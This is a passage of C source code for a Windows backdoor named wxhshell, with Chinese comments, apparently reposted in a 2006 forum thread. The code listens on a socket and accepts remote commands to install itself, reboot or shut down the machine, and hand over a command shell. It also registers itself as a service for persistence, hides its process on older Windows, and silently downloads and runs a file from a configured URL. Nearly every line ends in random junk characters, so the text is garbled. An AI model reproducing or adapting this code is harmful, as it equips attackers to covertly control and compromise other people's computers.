  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e;}5~dSi  
  } 5p{tt;9[  
  else { f{Y|FjPp=E  
cl7+DAE  
    switch(cmd[0]) { *t|j+*c}  
  .'AHIR&>  
  // 帮助 "/XS3s v"s  
  case '?': { e]X9"sd0=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j'0*|f^z  
    break; /0YNB)  
  } vDOeBw=  
  // 安装 IO_H%/v"jC  
  case 'i': { XY QUU0R  
    if(Install()) <ct{D|mm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U14dQ=~b/  
    else Z*e7W O.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@qb.9wZ6  
    break; 7iJk0L$]x  
    } .r*b+rc;]  
  // 卸载 iii$)4V  
  case 'r': { M[*:=C)H  
    if(Uninstall()) s9GPDfZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TAC\2*bWje  
    else LP)mp cQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ptq{$Y{_  
    break; {}^ELw  
    } LA@}{hU  
  // 显示 wxhshell 所在路径 x}>tX  
  case 'p': { hJ4.:  
    char svExeFile[MAX_PATH]; <,hBoHZSL  
    strcpy(svExeFile,"\n\r"); ze\~-0ks +  
      strcat(svExeFile,ExeFile); IKr7"`  
        send(wsh,svExeFile,strlen(svExeFile),0); !<6wrOMaO  
    break; +m7 x>ie)  
    } ".i{WyTt  
  // 重启 $xZk{ rK  
  case 'b': { f"0H9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SCH![Amq  
    if(Boot(REBOOT)) o%9>elOju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -MEz`7c~  
    else { Gf]s?J^a  
    closesocket(wsh); Pd;ClMa%  
    ExitThread(0); |f}NO~CA  
    } &lS0"`J=  
    break; tx1jBh:e=  
    } X5/{Mx`8Oz  
  // 关机 coFg69\^  
  case 'd': { O`0$pn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x[^A9  
    if(Boot(SHUTDOWN)) 4K;j:ZJ"x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ry]7$MQyV  
    else { v#+w<gRq  
    closesocket(wsh); Y-c~"#  
    ExitThread(0); )Z%+~n3o'  
    } xA5$!Oq7  
    break; hCvn(f  
    } yK7>^p}V  
  // 获取shell _TXV{<E6  
  case 's': { omA*XXUx=8  
    CmdShell(wsh); ` U3  
    closesocket(wsh); F i/G, [q  
    ExitThread(0); CzEn_ZMb  
    break; Mqtp}<*@-  
  } #rr-4$w+  
  // 退出 @ty|HXW  
  case 'x': { Z =c@Gd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EDQJ>c  
    CloseIt(wsh); r"[T9  
    break; nm-Y?!J  
    } D)sEAfvX  
  // 离开 G!;[If :<e  
  case 'q': { u .=;A#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J| '(;Ay4u  
    closesocket(wsh); yrs3`/  
    WSACleanup(); X[~CLKH(  
    exit(1); g[jZ A[[  
    break; ggTjd"|)  
        } =|%T E   
  } W7o/  
  } {|E7N"Qzg  
,h._iO)I^  
  // 提示信息 {LD8ie|x1`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KTEis!w  
} VT7NWT J,  
  } "'#Hh&Us  
\-0`%k"&  
  return; rw2|1_AF  
} DS2$w9!  
JrAc]=  
// shell模块句柄 "y0 A<-~  
int CmdShell(SOCKET sock) 9.=#4OH/  
{ 8W>l(w9M  
STARTUPINFO si; (B-9M)  
ZeroMemory(&si,sizeof(si)); 5w1[KO#K|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X8x>oV;8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7$=@q|$  
PROCESS_INFORMATION ProcessInfo; sD3|Qj;  
char cmdline[]="cmd"; xH[yIfHkG@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e"6i >w!  
  return 0; 3T/j5m}+!  
} (FYJ^o  
<Y2!c,"  
// 自身启动模式 fLoVcl  
int StartFromService(void) ] O>7x  
{ \pGO}{3 e*  
typedef struct Z5[:Zf?h7J  
{ sK?-@  
  DWORD ExitStatus; 8Q -F  
  DWORD PebBaseAddress; U9 *2< c  
  DWORD AffinityMask; Oha g%<1#  
  DWORD BasePriority; #Vigu,zY  
  ULONG UniqueProcessId; y}HC\A77uD  
  ULONG InheritedFromUniqueProcessId; KgWT&^t  
}   PROCESS_BASIC_INFORMATION; p ri{vveN@  
=3C)sz}  
PROCNTQSIP NtQueryInformationProcess; V^+:U>$w  
'e64%t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~(/HgFLLu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CWQ2iu<_0  
m5aaY  
  HANDLE             hProcess; 34Khg  
  PROCESS_BASIC_INFORMATION pbi; Fd&!-` T?  
vqi$}=%n?W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X2YOD2<v  
  if(NULL == hInst ) return 0; )"uG*}\?b  
<,4(3 >js  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); veg!mY2&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 /(c cj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D#1~]d  
1T,PC?vr{  
  if (!NtQueryInformationProcess) return 0; by[i"!RCu  
UiZp -Y%ki  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i(iP}: 3  
  if(!hProcess) return 0; ?(8%SPRk  
gdE`UZ\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; S ` -9}6  
(x0*(*A}  
  CloseHandle(hProcess); /t)c fFM  
~"2@A F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~!9Px j*  
if(hProcess==NULL) return 0;  r;X0 B  
8 {]Gh 0+  
HMODULE hMod; vcO`j<`  
char procName[255]; \N , '+  
unsigned long cbNeeded; 8Vhck-wF  
X6GkJ R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +JS/Z5dl+}  
6n\z53Mk  
  CloseHandle(hProcess); A'QGTT  
_I-VWDCk  
if(strstr(procName,"services")) return 1; // 以服务启动 \nAHpF  
2 U`W[  
  return 0; // 注册表启动 2 RUR=%C  
} EvQwGt1)P  
##FNq#F  
// 主模块 yPh2P5}H>  
int StartWxhshell(LPSTR lpCmdLine) Ca@=s  
{ QsJW"4d  
  SOCKET wsl; 'F"Y?y:!  
BOOL val=TRUE; RrdtU7i3  
  int port=0; L"!ZY  
  struct sockaddr_in door; ~!:Sp_y  
tK}p05nPhl  
  if(wscfg.ws_autoins) Install(); k+#l;<\2  
5vX 8mPR_  
port=atoi(lpCmdLine); _<RR`  
_s^:zPl  
if(port<=0) port=wscfg.ws_port;  L|lmStwe  
qJXsf M6  
  WSADATA data; J7wQ=! g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dnm.!L8  
9_WPWFO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fb.\V]K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F:o #  
  door.sin_family = AF_INET; I,4-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,o@~OTja*  
  door.sin_port = htons(port); -F+P;S  
O0wCb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?t0zsq  
closesocket(wsl); ;s\;78`0  
return 1; ' q<EZ {  
} \btR^;_\A  
#>m, Cm  
  if(listen(wsl,2) == INVALID_SOCKET) {  ;[KriW  
closesocket(wsl); Jhsv2,8 {  
return 1; q X%vRf0  
} n~)HfY  
  Wxhshell(wsl); !\#Wk0Ku  
  WSACleanup(); %:w% o$  
"4ozlWx  
return 0; s w.AfRQP  
`,Y[Z  
} 0YpiHoM  
Yl&tkSw46  
// 以NT服务方式启动 fQW_YQsb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IFrb}yH  
{ GtM( Y  
DWORD   status = 0; N`<4:v[P  
  DWORD   specificError = 0xfffffff; Vv yrty  
33<fN:J]f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `!omzE*bk5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {nQ)4.e6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S}w.#tyEn  
  serviceStatus.dwWin32ExitCode     = 0; 0i*'N ch#i  
  serviceStatus.dwServiceSpecificExitCode = 0; w~$c= JO#  
  serviceStatus.dwCheckPoint       = 0; S@}B:}2  
  serviceStatus.dwWaitHint       = 0; rI<nUy P?  
`o_fUOe8a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c/=y*2,zo  
  if (hServiceStatusHandle==0) return; Y0PGT5].@'  
E +Ujpd  
status = GetLastError();  H\=LE  
  if (status!=NO_ERROR) LGo2^Xx  
{ 6i]Nr@1C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k~1j/VHv  
    serviceStatus.dwCheckPoint       = 0; oT|P1t.  
    serviceStatus.dwWaitHint       = 0; j(%gMVu  
    serviceStatus.dwWin32ExitCode     = status; 'z-;*!A}j  
    serviceStatus.dwServiceSpecificExitCode = specificError; L`jB)wF /J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (~ ]g,*+  
    return; 5"kx}f2$  
  } :J Gl>V  
'n^2|"$sH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;v,9 v;T  
  serviceStatus.dwCheckPoint       = 0; =|E 09  
  serviceStatus.dwWaitHint       = 0; B0)`wsb_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~IlF*Zz#}6  
} oI_oz0nHk  
>,>;)B@J  
// 处理NT服务事件,比如:启动、停止 aJ6#=G61l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KbwTj*k[  
{ m%oGzx+  
switch(fdwControl) 2#AeN6\@  
{ OB?SkR  
case SERVICE_CONTROL_STOP: kRN|TDx(  
  serviceStatus.dwWin32ExitCode = 0; 6wb^*dD92  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b8N[."~:  
  serviceStatus.dwCheckPoint   = 0; G{NSAaD[  
  serviceStatus.dwWaitHint     = 0; CJ9cCtA  
  { Vl{~@G,@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t{R5 EU  
  } (VYR!(17  
  return; cc|CC Zl  
case SERVICE_CONTROL_PAUSE: <I7(eh6d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5c: '>  
  break; IjG5X[@  
case SERVICE_CONTROL_CONTINUE: c q*p9c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _m9~*  
  break; `E3:;|  
case SERVICE_CONTROL_INTERROGATE:  2Vp>"  
  break; "_K}rI6(t  
}; m<FF$pTT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dq/3E-y5  
} 8W~lU~-  
45x,|h[F{5  
// 标准应用程序主函数 SkiJ pMN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  r=fE8[,  
{ t a&Q4v&-  
8To7c  
// 获取操作系统版本 5%<TF .;-J  
OsIsNt=GetOsVer(); 7$(_j<o`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %{R _^Y8t  
|x &Z~y  
  // 从命令行安装 ow2M,KU6Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6xQ"bFm  
sA/,+aM  
  // 下载执行文件 B/jrYT$;m  
if(wscfg.ws_downexe) { Ln ~4mN^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <1aa~duT  
  WinExec(wscfg.ws_filenam,SW_HIDE); uuu\f*<  
} IWAj Mwo  
7{n\y l?  
if(!OsIsNt) { f;.SSiT  
// 如果时win9x,隐藏进程并且设置为注册表启动 zzX<?6MS  
HideProc(); \Y*!f|=of  
StartWxhshell(lpCmdLine); 3YR* ^  
} 6#<Ir @z  
else c}\ ' x5:o  
  if(StartFromService()) U? 8i'5)  
  // 以服务方式启动 Dba+z-3Nzy  
  StartServiceCtrlDispatcher(DispatchTable); H}vn$$ O  
else VR "u*  
  // 普通方式启动 hIR@^\?  
  StartWxhshell(lpCmdLine); c  Qld$  
u\`/Nhn  
return 0; ~6p5H}'H1  
}
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只看该作者 1 发表于: 2006-10-10
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